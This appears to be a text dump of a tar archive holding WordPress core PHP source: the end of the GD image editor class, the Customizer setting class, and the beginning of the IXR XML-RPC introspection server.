@since 3.5.0 * * @return true|WP_Error True if loaded successfully; WP_Error on failure. */ public function load() { if ( $this->image ) { return true; } if ( ! is_file( $this->file ) && ! preg_match( '|^https?://|', $this->file ) ) { return new WP_Error( 'error_loading_image', __( 'File does not exist?' ), $this->file ); } // Set artificially high because GD uses uncompressed images in memory. wp_raise_memory_limit( 'image' ); $file_contents = @file_get_contents( $this->file ); if ( ! $file_contents ) { return new WP_Error( 'error_loading_image', __( 'File does not exist?' ), $this->file ); } // WebP may not work with imagecreatefromstring(). if ( function_exists( 'imagecreatefromwebp' ) && ( 'image/webp' === wp_get_image_mime( $this->file ) ) ) { $this->image = @imagecreatefromwebp( $this->file ); } else { $this->image = @imagecreatefromstring( $file_contents ); } if ( ! is_gd_image( $this->image ) ) { return new WP_Error( 'invalid_image', __( 'File is not an image.' ), $this->file ); } $size = wp_getimagesize( $this->file ); if ( ! $size ) { return new WP_Error( 'invalid_image', __( 'Could not read image size.' ), $this->file ); } if ( function_exists( 'imagealphablending' ) && function_exists( 'imagesavealpha' ) ) { imagealphablending( $this->image, false ); imagesavealpha( $this->image, true ); } $this->update_size( $size[0], $size[1] ); $this->mime_type = $size['mime']; return $this->set_quality(); } /** * Sets or updates current image size. * * @since 3.5.0 * * @param int $width * @param int $height * @return true */ protected function update_size( $width = false, $height = false ) { if ( ! $width ) { $width = imagesx( $this->image ); } if ( ! $height ) { $height = imagesy( $this->image ); } return parent::update_size( $width, $height ); } /** * Resizes current image. * * Wraps `::_resize()` which returns a GD resource or GdImage instance. * * At minimum, either a height or width must be provided. If one of the two is set * to null, the resize will maintain aspect ratio according to the provided dimension. * * @since 3.5.0 * * @param int|null $max_w Image width. * @param int|null $max_h Image height. * @param bool $crop * @return true|WP_Error */ public function resize( $max_w, $max_h, $crop = false ) { if ( ( $this->size['width'] == $max_w ) && ( $this->size['height'] == $max_h ) ) { return true; } $resized = $this->_resize( $max_w, $max_h, $crop ); if ( is_gd_image( $resized ) ) { imagedestroy( $this->image ); $this->image = $resized; return true; } elseif ( is_wp_error( $resized ) ) { return $resized; } return new WP_Error( 'image_resize_error', __( 'Image resize failed.' ), $this->file ); } /** * @param int $max_w * @param int $max_h * @param bool|array $crop * @return resource|GdImage|WP_Error */ protected function _resize( $max_w, $max_h, $crop = false ) { $dims = image_resize_dimensions( $this->size['width'], $this->size['height'], $max_w, $max_h, $crop ); if ( ! $dims ) { return new WP_Error( 'error_getting_dimensions', __( 'Could not calculate resized image dimensions' ), $this->file ); } list( $dst_x, $dst_y, $src_x, $src_y, $dst_w, $dst_h, $src_w, $src_h ) = $dims; $resized = wp_imagecreatetruecolor( $dst_w, $dst_h ); imagecopyresampled( $resized, $this->image, $dst_x, $dst_y, $src_x, $src_y, $dst_w, $dst_h, $src_w, $src_h ); if ( is_gd_image( $resized ) ) { $this->update_size( $dst_w, $dst_h ); return $resized; } return new WP_Error( 'image_resize_error', __( 'Image resize failed.' ), $this->file ); } /** * Create multiple smaller images from a single source. * * Attempts to create all sub-sizes and returns the meta data at the end. This * may result in the server running out of resources. When it fails there may be few * "orphaned" images left over as the meta data is never returned and saved. * * As of 5.3.0 the preferred way to do this is with `make_subsize()`. It creates * the new images one at a time and allows for the meta data to be saved after * each new image is created. * * @since 3.5.0 * * @param array $sizes { * An array of image size data arrays. * * Either a height or width must be provided. * If one of the two is set to null, the resize will * maintain aspect ratio according to the source image. * * @type array ...$0 { * Array of height, width values, and whether to crop. * * @type int $width Image width. Optional if `$height` is specified. * @type int $height Image height. Optional if `$width` is specified. * @type bool $crop Optional. Whether to crop the image. Default false. * } * } * @return array An array of resized images' metadata by size. */ public function multi_resize( $sizes ) { $metadata = array(); foreach ( $sizes as $size => $size_data ) { $meta = $this->make_subsize( $size_data ); if ( ! is_wp_error( $meta ) ) { $metadata[ $size ] = $meta; } } return $metadata; } /** * Create an image sub-size and return the image meta data value for it. * * @since 5.3.0 * * @param array $size_data { * Array of size data. * * @type int $width The maximum width in pixels. * @type int $height The maximum height in pixels. * @type bool $crop Whether to crop the image to exact dimensions. * } * @return array|WP_Error The image data array for inclusion in the `sizes` array in the image meta, * WP_Error object on error. */ public function make_subsize( $size_data ) { if ( ! isset( $size_data['width'] ) && ! isset( $size_data['height'] ) ) { return new WP_Error( 'image_subsize_create_error', __( 'Cannot resize the image. Both width and height are not set.' ) ); } $orig_size = $this->size; if ( ! isset( $size_data['width'] ) ) { $size_data['width'] = null; } if ( ! isset( $size_data['height'] ) ) { $size_data['height'] = null; } if ( ! isset( $size_data['crop'] ) ) { $size_data['crop'] = false; } $resized = $this->_resize( $size_data['width'], $size_data['height'], $size_data['crop'] ); if ( is_wp_error( $resized ) ) { $saved = $resized; } else { $saved = $this->_save( $resized ); imagedestroy( $resized ); } $this->size = $orig_size; if ( ! is_wp_error( $saved ) ) { unset( $saved['path'] ); } return $saved; } /** * Crops Image. * * @since 3.5.0 * * @param int $src_x The start x position to crop from. * @param int $src_y The start y position to crop from. * @param int $src_w The width to crop. * @param int $src_h The height to crop. * @param int $dst_w Optional. The destination width. * @param int $dst_h Optional. The destination height. * @param bool $src_abs Optional. If the source crop points are absolute. * @return true|WP_Error */ public function crop( $src_x, $src_y, $src_w, $src_h, $dst_w = null, $dst_h = null, $src_abs = false ) { // If destination width/height isn't specified, // use same as width/height from source. if ( ! $dst_w ) { $dst_w = $src_w; } if ( ! $dst_h ) { $dst_h = $src_h; } foreach ( array( $src_w, $src_h, $dst_w, $dst_h ) as $value ) { if ( ! is_numeric( $value ) || (int) $value <= 0 ) { return new WP_Error( 'image_crop_error', __( 'Image crop failed.' ), $this->file ); } } $dst = wp_imagecreatetruecolor( (int) $dst_w, (int) $dst_h ); if ( $src_abs ) { $src_w -= $src_x; $src_h -= $src_y; } if ( function_exists( 'imageantialias' ) ) { imageantialias( $dst, true ); } imagecopyresampled( $dst, $this->image, 0, 0, (int) $src_x, (int) $src_y, (int) $dst_w, (int) $dst_h, (int) $src_w, (int) $src_h ); if ( is_gd_image( $dst ) ) { imagedestroy( $this->image ); $this->image = $dst; $this->update_size(); return true; } return new WP_Error( 'image_crop_error', __( 'Image crop failed.' ), $this->file ); } /** * Rotates current image counter-clockwise by $angle. * Ported from image-edit.php * * @since 3.5.0 * * @param float $angle * @return true|WP_Error */ public function rotate( $angle ) { if ( function_exists( 'imagerotate' ) ) { $transparency = imagecolorallocatealpha( $this->image, 255, 255, 255, 127 ); $rotated = imagerotate( $this->image, $angle, $transparency ); if ( is_gd_image( $rotated ) ) { imagealphablending( $rotated, true ); imagesavealpha( $rotated, true ); imagedestroy( $this->image ); $this->image = $rotated; $this->update_size(); return true; } } return new WP_Error( 'image_rotate_error', __( 'Image rotate failed.' ), $this->file ); } /** * Flips current image. * * @since 3.5.0 * * @param bool $horz Flip along Horizontal Axis. * @param bool $vert Flip along Vertical Axis. * @return true|WP_Error */ public function flip( $horz, $vert ) { $w = $this->size['width']; $h = $this->size['height']; $dst = wp_imagecreatetruecolor( $w, $h ); if ( is_gd_image( $dst ) ) { $sx = $vert ? ( $w - 1 ) : 0; $sy = $horz ? ( $h - 1 ) : 0; $sw = $vert ? -$w : $w; $sh = $horz ? -$h : $h; if ( imagecopyresampled( $dst, $this->image, 0, 0, $sx, $sy, $w, $h, $sw, $sh ) ) { imagedestroy( $this->image ); $this->image = $dst; return true; } } return new WP_Error( 'image_flip_error', __( 'Image flip failed.' ), $this->file ); } /** * Saves current in-memory image to file. * * @since 3.5.0 * @since 5.9.0 Renamed `$filename` to `$destfilename` to match parent class * for PHP 8 named parameter support. * * @param string|null $destfilename Optional. Destination filename. Default null. * @param string|null $mime_type Optional. The mime-type. Default null. * @return array|WP_Error {'path'=>string, 'file'=>string, 'width'=>int, 'height'=>int, 'mime-type'=>string} */ public function save( $destfilename = null, $mime_type = null ) { $saved = $this->_save( $this->image, $destfilename, $mime_type ); if ( ! is_wp_error( $saved ) ) { $this->file = $saved['path']; $this->mime_type = $saved['mime-type']; } return $saved; } /** * @param resource|GdImage $image * @param string|null $filename * @param string|null $mime_type * @return array|WP_Error */ protected function _save( $image, $filename = null, $mime_type = null ) { list( $filename, $extension, $mime_type ) = $this->get_output_format( $filename, $mime_type ); if ( ! $filename ) { $filename = $this->generate_filename( null, null, $extension ); } if ( 'image/gif' === $mime_type ) { if ( ! $this->make_image( $filename, 'imagegif', array( $image, $filename ) ) ) { return new WP_Error( 'image_save_error', __( 'Image Editor Save Failed' ) ); } } elseif ( 'image/png' === $mime_type ) { // Convert from full colors to index colors, like original PNG. if ( function_exists( 'imageistruecolor' ) && ! imageistruecolor( $image ) ) { imagetruecolortopalette( $image, false, imagecolorstotal( $image ) ); } if ( ! $this->make_image( $filename, 'imagepng', array( $image, $filename ) ) ) { return new WP_Error( 'image_save_error', __( 'Image Editor Save Failed' ) ); } } elseif ( 'image/jpeg' === $mime_type ) { if ( ! $this->make_image( $filename, 'imagejpeg', array( $image, $filename, $this->get_quality() ) ) ) { return new WP_Error( 'image_save_error', __( 'Image Editor Save Failed' ) ); } } elseif ( 'image/webp' == $mime_type ) { if ( ! function_exists( 'imagewebp' ) || ! $this->make_image( $filename, 'imagewebp', array( $image, $filename, $this->get_quality() ) ) ) { return new WP_Error( 'image_save_error', __( 'Image Editor Save Failed' ) ); } } else { return new WP_Error( 'image_save_error', __( 'Image Editor Save Failed' ) ); } // Set correct file permissions. $stat = stat( dirname( $filename ) ); $perms = $stat['mode'] & 0000666; // Same permissions as parent folder, strip off the executable bits. chmod( $filename, $perms ); return array( 'path' => $filename, /** * Filters the name of the saved image file. * * @since 2.6.0 * * @param string $filename Name of the file. */ 'file' => wp_basename( apply_filters( 'image_make_intermediate_size', $filename ) ), 'width' => $this->size['width'], 'height' => $this->size['height'], 'mime-type' => $mime_type, 'filesize' => wp_filesize( $filename ), ); } /** * Returns stream of current image. * * @since 3.5.0 * * @param string $mime_type The mime type of the image. * @return bool True on success, false on failure. */ public function stream( $mime_type = null ) { list( $filename, $extension, $mime_type ) = $this->get_output_format( null, $mime_type ); switch ( $mime_type ) { case 'image/png': header( 'Content-Type: image/png' ); return imagepng( $this->image ); case 'image/gif': header( 'Content-Type: image/gif' ); return imagegif( $this->image ); case 'image/webp': if ( function_exists( 'imagewebp' ) ) { header( 'Content-Type: image/webp' ); return imagewebp( $this->image, null, $this->get_quality() ); } // Fall back to the default if webp isn't supported. default: header( 'Content-Type: image/jpeg' ); return imagejpeg( $this->image, null, $this->get_quality() ); } } /** * Either calls editor's save function or handles file as a stream. * * @since 3.5.0 * * @param string $filename * @param callable $callback * @param array $arguments * @return bool */ protected function make_image( $filename, $callback, $arguments ) { if ( wp_is_stream( $filename ) ) { $arguments[1] = null; } return parent::make_image( $filename, $callback, $arguments ); } } class-wp-customize-setting.php000064400000072250147177035010012514 0ustar00$key = $args[ $key ]; } } $this->manager = $manager; $this->id = $id; // Parse the ID for array keys. $this->id_data['keys'] = preg_split( '/\[/', str_replace( ']', '', $this->id ) ); $this->id_data['base'] = array_shift( $this->id_data['keys'] ); // Rebuild the ID. $this->id = $this->id_data['base']; if ( ! empty( $this->id_data['keys'] ) ) { $this->id .= '[' . implode( '][', $this->id_data['keys'] ) . ']'; } if ( $this->validate_callback ) { add_filter( "customize_validate_{$this->id}", $this->validate_callback, 10, 3 ); } if ( $this->sanitize_callback ) { add_filter( "customize_sanitize_{$this->id}", $this->sanitize_callback, 10, 2 ); } if ( $this->sanitize_js_callback ) { add_filter( "customize_sanitize_js_{$this->id}", $this->sanitize_js_callback, 10, 2 ); } if ( 'option' === $this->type || 'theme_mod' === $this->type ) { // Other setting types can opt-in to aggregate multidimensional explicitly. $this->aggregate_multidimensional(); // Allow option settings to indicate whether they should be autoloaded. if ( 'option' === $this->type && isset( $args['autoload'] ) ) { self::$aggregated_multidimensionals[ $this->type ][ $this->id_data['base'] ]['autoload'] = $args['autoload']; } } } /** * Get parsed ID data for multidimensional setting. * * @since 4.4.0 * * @return array { * ID data for multidimensional setting. * * @type string $base ID base * @type array $keys Keys for multidimensional array. * } */ final public function id_data() { return $this->id_data; } /** * Set up the setting for aggregated multidimensional values. * * When a multidimensional setting gets aggregated, all of its preview and update * calls get combined into one call, greatly improving performance. * * @since 4.4.0 */ protected function aggregate_multidimensional() { $id_base = $this->id_data['base']; if ( ! isset( self::$aggregated_multidimensionals[ $this->type ] ) ) { self::$aggregated_multidimensionals[ $this->type ] = array(); } if ( ! isset( self::$aggregated_multidimensionals[ $this->type ][ $id_base ] ) ) { self::$aggregated_multidimensionals[ $this->type ][ $id_base ] = array( 'previewed_instances' => array(), // Calling preview() will add the $setting to the array. 'preview_applied_instances' => array(), // Flags for which settings have had their values applied. 'root_value' => $this->get_root_value( array() ), // Root value for initial state, manipulated by preview and update calls. ); } if ( ! empty( $this->id_data['keys'] ) ) { // Note the preview-applied flag is cleared at priority 9 to ensure it is cleared before a deferred-preview runs. add_action( "customize_post_value_set_{$this->id}", array( $this, '_clear_aggregated_multidimensional_preview_applied_flag' ), 9 ); $this->is_multidimensional_aggregated = true; } } /** * Reset `$aggregated_multidimensionals` static variable. * * This is intended only for use by unit tests. * * @since 4.5.0 * @ignore */ public static function reset_aggregated_multidimensionals() { self::$aggregated_multidimensionals = array(); } /** * The ID for the current site when the preview() method was called. * * @since 4.2.0 * @var int */ protected $_previewed_blog_id; /** * Return true if the current site is not the same as the previewed site. * * @since 4.2.0 * * @return bool If preview() has been called. */ public function is_current_blog_previewed() { if ( ! isset( $this->_previewed_blog_id ) ) { return false; } return ( get_current_blog_id() === $this->_previewed_blog_id ); } /** * Original non-previewed value stored by the preview method. * * @see WP_Customize_Setting::preview() * @since 4.1.1 * @var mixed */ protected $_original_value; /** * Add filters to supply the setting's value when accessed. * * If the setting already has a pre-existing value and there is no incoming * post value for the setting, then this method will short-circuit since * there is no change to preview. * * @since 3.4.0 * @since 4.4.0 Added boolean return value. * * @return bool False when preview short-circuits due no change needing to be previewed. */ public function preview() { if ( ! isset( $this->_previewed_blog_id ) ) { $this->_previewed_blog_id = get_current_blog_id(); } // Prevent re-previewing an already-previewed setting. if ( $this->is_previewed ) { return true; } $id_base = $this->id_data['base']; $is_multidimensional = ! empty( $this->id_data['keys'] ); $multidimensional_filter = array( $this, '_multidimensional_preview_filter' ); /* * Check if the setting has a pre-existing value (an isset check), * and if doesn't have any incoming post value. If both checks are true, * then the preview short-circuits because there is nothing that needs * to be previewed. */ $undefined = new stdClass(); $needs_preview = ( $undefined !== $this->post_value( $undefined ) ); $value = null; // Since no post value was defined, check if we have an initial value set. if ( ! $needs_preview ) { if ( $this->is_multidimensional_aggregated ) { $root = self::$aggregated_multidimensionals[ $this->type ][ $id_base ]['root_value']; $value = $this->multidimensional_get( $root, $this->id_data['keys'], $undefined ); } else { $default = $this->default; $this->default = $undefined; // Temporarily set default to undefined so we can detect if existing value is set. $value = $this->value(); $this->default = $default; } $needs_preview = ( $undefined === $value ); // Because the default needs to be supplied. } // If the setting does not need previewing now, defer to when it has a value to preview. if ( ! $needs_preview ) { if ( ! has_action( "customize_post_value_set_{$this->id}", array( $this, 'preview' ) ) ) { add_action( "customize_post_value_set_{$this->id}", array( $this, 'preview' ) ); } return false; } switch ( $this->type ) { case 'theme_mod': if ( ! $is_multidimensional ) { add_filter( "theme_mod_{$id_base}", array( $this, '_preview_filter' ) ); } else { if ( empty( self::$aggregated_multidimensionals[ $this->type ][ $id_base ]['previewed_instances'] ) ) { // Only add this filter once for this ID base. add_filter( "theme_mod_{$id_base}", $multidimensional_filter ); } self::$aggregated_multidimensionals[ $this->type ][ $id_base ]['previewed_instances'][ $this->id ] = $this; } break; case 'option': if ( ! $is_multidimensional ) { add_filter( "pre_option_{$id_base}", array( $this, '_preview_filter' ) ); } else { if ( empty( self::$aggregated_multidimensionals[ $this->type ][ $id_base ]['previewed_instances'] ) ) { // Only add these filters once for this ID base. add_filter( "option_{$id_base}", $multidimensional_filter ); add_filter( "default_option_{$id_base}", $multidimensional_filter ); } self::$aggregated_multidimensionals[ $this->type ][ $id_base ]['previewed_instances'][ $this->id ] = $this; } break; default: /** * Fires when the WP_Customize_Setting::preview() method is called for settings * not handled as theme_mods or options. * * The dynamic portion of the hook name, `$this->id`, refers to the setting ID. * * @since 3.4.0 * * @param WP_Customize_Setting $setting WP_Customize_Setting instance. */ do_action( "customize_preview_{$this->id}", $this ); /** * Fires when the WP_Customize_Setting::preview() method is called for settings * not handled as theme_mods or options. * * The dynamic portion of the hook name, `$this->type`, refers to the setting type. * * @since 4.1.0 * * @param WP_Customize_Setting $setting WP_Customize_Setting instance. */ do_action( "customize_preview_{$this->type}", $this ); } $this->is_previewed = true; return true; } /** * Clear out the previewed-applied flag for a multidimensional-aggregated value whenever its post value is updated. * * This ensures that the new value will get sanitized and used the next time * that `WP_Customize_Setting::_multidimensional_preview_filter()` * is called for this setting. * * @since 4.4.0 * * @see WP_Customize_Manager::set_post_value() * @see WP_Customize_Setting::_multidimensional_preview_filter() */ final public function _clear_aggregated_multidimensional_preview_applied_flag() { unset( self::$aggregated_multidimensionals[ $this->type ][ $this->id_data['base'] ]['preview_applied_instances'][ $this->id ] ); } /** * Callback function to filter non-multidimensional theme mods and options. * * If switch_to_blog() was called after the preview() method, and the current * site is now not the same site, then this method does a no-op and returns * the original value. * * @since 3.4.0 * * @param mixed $original Old value. * @return mixed New or old value. */ public function _preview_filter( $original ) { if ( ! $this->is_current_blog_previewed() ) { return $original; } $undefined = new stdClass(); // Symbol hack. $post_value = $this->post_value( $undefined ); if ( $undefined !== $post_value ) { $value = $post_value; } else { /* * Note that we don't use $original here because preview() will * not add the filter in the first place if it has an initial value * and there is no post value. */ $value = $this->default; } return $value; } /** * Callback function to filter multidimensional theme mods and options. * * For all multidimensional settings of a given type, the preview filter for * the first setting previewed will be used to apply the values for the others. * * @since 4.4.0 * * @see WP_Customize_Setting::$aggregated_multidimensionals * @param mixed $original Original root value. * @return mixed New or old value. */ final public function _multidimensional_preview_filter( $original ) { if ( ! $this->is_current_blog_previewed() ) { return $original; } $id_base = $this->id_data['base']; // If no settings have been previewed yet (which should not be the case, since $this is), just pass through the original value. if ( empty( self::$aggregated_multidimensionals[ $this->type ][ $id_base ]['previewed_instances'] ) ) { return $original; } foreach ( self::$aggregated_multidimensionals[ $this->type ][ $id_base ]['previewed_instances'] as $previewed_setting ) { // Skip applying previewed value for any settings that have already been applied. if ( ! empty( self::$aggregated_multidimensionals[ $this->type ][ $id_base ]['preview_applied_instances'][ $previewed_setting->id ] ) ) { continue; } // Do the replacements of the posted/default sub value into the root value. $value = $previewed_setting->post_value( $previewed_setting->default ); $root = self::$aggregated_multidimensionals[ $previewed_setting->type ][ $id_base ]['root_value']; $root = $previewed_setting->multidimensional_replace( $root, $previewed_setting->id_data['keys'], $value ); self::$aggregated_multidimensionals[ $previewed_setting->type ][ $id_base ]['root_value'] = $root; // Mark this setting having been applied so that it will be skipped when the filter is called again. self::$aggregated_multidimensionals[ $previewed_setting->type ][ $id_base ]['preview_applied_instances'][ $previewed_setting->id ] = true; } return self::$aggregated_multidimensionals[ $this->type ][ $id_base ]['root_value']; } /** * Checks user capabilities and theme supports, and then saves * the value of the setting. * * @since 3.4.0 * * @return void|false Void on success, false if cap check fails * or value isn't set or is invalid. */ final public function save() { $value = $this->post_value(); if ( ! $this->check_capabilities() || ! isset( $value ) ) { return false; } $id_base = $this->id_data['base']; /** * Fires when the WP_Customize_Setting::save() method is called. * * The dynamic portion of the hook name, `$id_base` refers to * the base slug of the setting name. * * @since 3.4.0 * * @param WP_Customize_Setting $setting WP_Customize_Setting instance. */ do_action( "customize_save_{$id_base}", $this ); $this->update( $value ); } /** * Fetch and sanitize the $_POST value for the setting. * * During a save request prior to save, post_value() provides the new value while value() does not. * * @since 3.4.0 * * @param mixed $default_value A default value which is used as a fallback. Default null. * @return mixed The default value on failure, otherwise the sanitized and validated value. */ final public function post_value( $default_value = null ) { return $this->manager->post_value( $this, $default_value ); } /** * Sanitize an input. * * @since 3.4.0 * * @param string|array $value The value to sanitize. * @return string|array|null|WP_Error Sanitized value, or `null`/`WP_Error` if invalid. */ public function sanitize( $value ) { /** * Filters a Customize setting value in un-slashed form. * * @since 3.4.0 * * @param mixed $value Value of the setting. * @param WP_Customize_Setting $setting WP_Customize_Setting instance. */ return apply_filters( "customize_sanitize_{$this->id}", $value, $this ); } /** * Validates an input. * * @since 4.6.0 * * @see WP_REST_Request::has_valid_params() * * @param mixed $value Value to validate. * @return true|WP_Error True if the input was validated, otherwise WP_Error. */ public function validate( $value ) { if ( is_wp_error( $value ) ) { return $value; } if ( is_null( $value ) ) { return new WP_Error( 'invalid_value', __( 'Invalid value.' ) ); } $validity = new WP_Error(); /** * Validates a Customize setting value. * * Plugins should amend the `$validity` object via its `WP_Error::add()` method. * * The dynamic portion of the hook name, `$this->ID`, refers to the setting ID. * * @since 4.6.0 * * @param WP_Error $validity Filtered from `true` to `WP_Error` when invalid. * @param mixed $value Value of the setting. * @param WP_Customize_Setting $setting WP_Customize_Setting instance. */ $validity = apply_filters( "customize_validate_{$this->id}", $validity, $value, $this ); if ( is_wp_error( $validity ) && ! $validity->has_errors() ) { $validity = true; } return $validity; } /** * Get the root value for a setting, especially for multidimensional ones. * * @since 4.4.0 * * @param mixed $default_value Value to return if root does not exist. * @return mixed */ protected function get_root_value( $default_value = null ) { $id_base = $this->id_data['base']; if ( 'option' === $this->type ) { return get_option( $id_base, $default_value ); } elseif ( 'theme_mod' === $this->type ) { return get_theme_mod( $id_base, $default_value ); } else { /* * Any WP_Customize_Setting subclass implementing aggregate multidimensional * will need to override this method to obtain the data from the appropriate * location. */ return $default_value; } } /** * Set the root value for a setting, especially for multidimensional ones. * * @since 4.4.0 * * @param mixed $value Value to set as root of multidimensional setting. * @return bool Whether the multidimensional root was updated successfully. */ protected function set_root_value( $value ) { $id_base = $this->id_data['base']; if ( 'option' === $this->type ) { $autoload = true; if ( isset( self::$aggregated_multidimensionals[ $this->type ][ $this->id_data['base'] ]['autoload'] ) ) { $autoload = self::$aggregated_multidimensionals[ $this->type ][ $this->id_data['base'] ]['autoload']; } return update_option( $id_base, $value, $autoload ); } elseif ( 'theme_mod' === $this->type ) { set_theme_mod( $id_base, $value ); return true; } else { /* * Any WP_Customize_Setting subclass implementing aggregate multidimensional * will need to override this method to obtain the data from the appropriate * location. */ return false; } } /** * Save the value of the setting, using the related API. * * @since 3.4.0 * * @param mixed $value The value to update. * @return bool The result of saving the value. */ protected function update( $value ) { $id_base = $this->id_data['base']; if ( 'option' === $this->type || 'theme_mod' === $this->type ) { if ( ! $this->is_multidimensional_aggregated ) { return $this->set_root_value( $value ); } else { $root = self::$aggregated_multidimensionals[ $this->type ][ $id_base ]['root_value']; $root = $this->multidimensional_replace( $root, $this->id_data['keys'], $value ); self::$aggregated_multidimensionals[ $this->type ][ $id_base ]['root_value'] = $root; return $this->set_root_value( $root ); } } else { /** * Fires when the WP_Customize_Setting::update() method is called for settings * not handled as theme_mods or options. * * The dynamic portion of the hook name, `$this->type`, refers to the type of setting. * * @since 3.4.0 * * @param mixed $value Value of the setting. * @param WP_Customize_Setting $setting WP_Customize_Setting instance. */ do_action( "customize_update_{$this->type}", $value, $this ); return has_action( "customize_update_{$this->type}" ); } } /** * Deprecated method. * * @since 3.4.0 * @deprecated 4.4.0 Deprecated in favor of update() method. */ protected function _update_theme_mod() { _deprecated_function( __METHOD__, '4.4.0', __CLASS__ . '::update()' ); } /** * Deprecated method. * * @since 3.4.0 * @deprecated 4.4.0 Deprecated in favor of update() method. */ protected function _update_option() { _deprecated_function( __METHOD__, '4.4.0', __CLASS__ . '::update()' ); } /** * Fetch the value of the setting. * * @since 3.4.0 * * @return mixed The value. */ public function value() { $id_base = $this->id_data['base']; $is_core_type = ( 'option' === $this->type || 'theme_mod' === $this->type ); if ( ! $is_core_type && ! $this->is_multidimensional_aggregated ) { // Use post value if previewed and a post value is present. if ( $this->is_previewed ) { $value = $this->post_value( null ); if ( null !== $value ) { return $value; } } $value = $this->get_root_value( $this->default ); /** * Filters a Customize setting value not handled as a theme_mod or option. * * The dynamic portion of the hook name, `$id_base`, refers to * the base slug of the setting name, initialized from `$this->id_data['base']`. * * For settings handled as theme_mods or options, see those corresponding * functions for available hooks. * * @since 3.4.0 * @since 4.6.0 Added the `$this` setting instance as the second parameter. * * @param mixed $default_value The setting default value. Default empty. * @param WP_Customize_Setting $setting The setting instance. */ $value = apply_filters( "customize_value_{$id_base}", $value, $this ); } elseif ( $this->is_multidimensional_aggregated ) { $root_value = self::$aggregated_multidimensionals[ $this->type ][ $id_base ]['root_value']; $value = $this->multidimensional_get( $root_value, $this->id_data['keys'], $this->default ); // Ensure that the post value is used if the setting is previewed, since preview filters aren't applying on cached $root_value. if ( $this->is_previewed ) { $value = $this->post_value( $value ); } } else { $value = $this->get_root_value( $this->default ); } return $value; } /** * Sanitize the setting's value for use in JavaScript. * * @since 3.4.0 * * @return mixed The requested escaped value. */ public function js_value() { /** * Filters a Customize setting value for use in JavaScript. * * The dynamic portion of the hook name, `$this->id`, refers to the setting ID. * * @since 3.4.0 * * @param mixed $value The setting value. * @param WP_Customize_Setting $setting WP_Customize_Setting instance. */ $value = apply_filters( "customize_sanitize_js_{$this->id}", $this->value(), $this ); if ( is_string( $value ) ) { return html_entity_decode( $value, ENT_QUOTES, 'UTF-8' ); } return $value; } /** * Retrieves the data to export to the client via JSON. * * @since 4.6.0 * * @return array Array of parameters passed to JavaScript. */ public function json() { return array( 'value' => $this->js_value(), 'transport' => $this->transport, 'dirty' => $this->dirty, 'type' => $this->type, ); } /** * Validate user capabilities whether the theme supports the setting. * * @since 3.4.0 * * @return bool False if theme doesn't support the setting or user can't change setting, otherwise true. */ final public function check_capabilities() { if ( $this->capability && ! current_user_can( $this->capability ) ) { return false; } if ( $this->theme_supports && ! current_theme_supports( ... (array) $this->theme_supports ) ) { return false; } return true; } /** * Multidimensional helper function. * * @since 3.4.0 * * @param array $root * @param array $keys * @param bool $create Default false. * @return array|void Keys are 'root', 'node', and 'key'. */ final protected function multidimensional( &$root, $keys, $create = false ) { if ( $create && empty( $root ) ) { $root = array(); } if ( ! isset( $root ) || empty( $keys ) ) { return; } $last = array_pop( $keys ); $node = &$root; foreach ( $keys as $key ) { if ( $create && ! isset( $node[ $key ] ) ) { $node[ $key ] = array(); } if ( ! is_array( $node ) || ! isset( $node[ $key ] ) ) { return; } $node = &$node[ $key ]; } if ( $create ) { if ( ! is_array( $node ) ) { // Account for an array overriding a string or object value. $node = array(); } if ( ! isset( $node[ $last ] ) ) { $node[ $last ] = array(); } } if ( ! isset( $node[ $last ] ) ) { return; } return array( 'root' => &$root, 'node' => &$node, 'key' => $last, ); } /** * Will attempt to replace a specific value in a multidimensional array. * * @since 3.4.0 * * @param array $root * @param array $keys * @param mixed $value The value to update. * @return mixed */ final protected function multidimensional_replace( $root, $keys, $value ) { if ( ! isset( $value ) ) { return $root; } elseif ( empty( $keys ) ) { // If there are no keys, we're replacing the root. return $value; } $result = $this->multidimensional( $root, $keys, true ); if ( isset( $result ) ) { $result['node'][ $result['key'] ] = $value; } return $root; } /** * Will attempt to fetch a specific value from a multidimensional array. * * @since 3.4.0 * * @param array $root * @param array $keys * @param mixed $default_value A default value which is used as a fallback. Default null. * @return mixed The requested value or the default value. */ final protected function multidimensional_get( $root, $keys, $default_value = null ) { if ( empty( $keys ) ) { // If there are no keys, test the root. return isset( $root ) ? $root : $default_value; } $result = $this->multidimensional( $root, $keys ); return isset( $result ) ? $result['node'][ $result['key'] ] : $default_value; } /** * Will attempt to check if a specific value in a multidimensional array is set. * * @since 3.4.0 * * @param array $root * @param array $keys * @return bool True if value is set, false if not. */ final protected function multidimensional_isset( $root, $keys ) { $result = $this->multidimensional_get( $root, $keys ); return isset( $result ); } } /** * WP_Customize_Filter_Setting class. */ require_once ABSPATH . WPINC . '/customize/class-wp-customize-filter-setting.php'; /** * WP_Customize_Header_Image_Setting class. */ require_once ABSPATH . WPINC . '/customize/class-wp-customize-header-image-setting.php'; /** * WP_Customize_Background_Image_Setting class. */ require_once ABSPATH . WPINC . '/customize/class-wp-customize-background-image-setting.php'; /** * WP_Customize_Nav_Menu_Item_Setting class. */ require_once ABSPATH . WPINC . '/customize/class-wp-customize-nav-menu-item-setting.php'; /** * WP_Customize_Nav_Menu_Setting class. */ require_once ABSPATH . WPINC . '/customize/class-wp-customize-nav-menu-setting.php'; IXR/class-IXR-introspectionserver.php000064400000012313147177035010013616 0ustar00setCallbacks(); $this->setCapabilities(); $this->capabilities['introspection'] = array( 'specUrl' => 'http://xmlrpc.usefulinc.com/doc/reserved.html', 'specVersion' => 1 ); $this->addCallback( 'system.methodSignature', 'this:methodSignature', array('array', 'string'), 'Returns an array describing the return type and required parameters of a method' ); $this->addCallback( 'system.getCapabilities', 'this:getCapabilities', array('struct'), 'Returns a struct describing the XML-RPC specifications supported by this server' ); $this->addCallback( 'system.listMethods', 'this:listMethods', array('array'), 'Returns an array of available methods on this server' ); $this->addCallback( 'system.methodHelp', 'this:methodHelp', array('string', 'string'), 'Returns a documentation string for the specified method' ); } /** * PHP4 constructor. */ public function IXR_IntrospectionServer() { self::__construct(); } function addCallback($method, $callback, $args, $help) { $this->callbacks[$method] = $callback; $this->signatures[$method] = $args; $this->help[$method] = $help; } function call($methodname, $args) { // Make sure it's in an array if ($args && !is_array($args)) { $args = array($args); } // Over-rides default call method, adds signature check if (!$this->hasMethod($methodname)) { return new IXR_Error(-32601, 'server error. requested method "'.$this->message->methodName.'" not specified.'); } $method = $this->callbacks[$methodname]; $signature = $this->signatures[$methodname]; $returnType = array_shift($signature); // Check the number of arguments if (count($args) != count($signature)) { return new IXR_Error(-32602, 'server 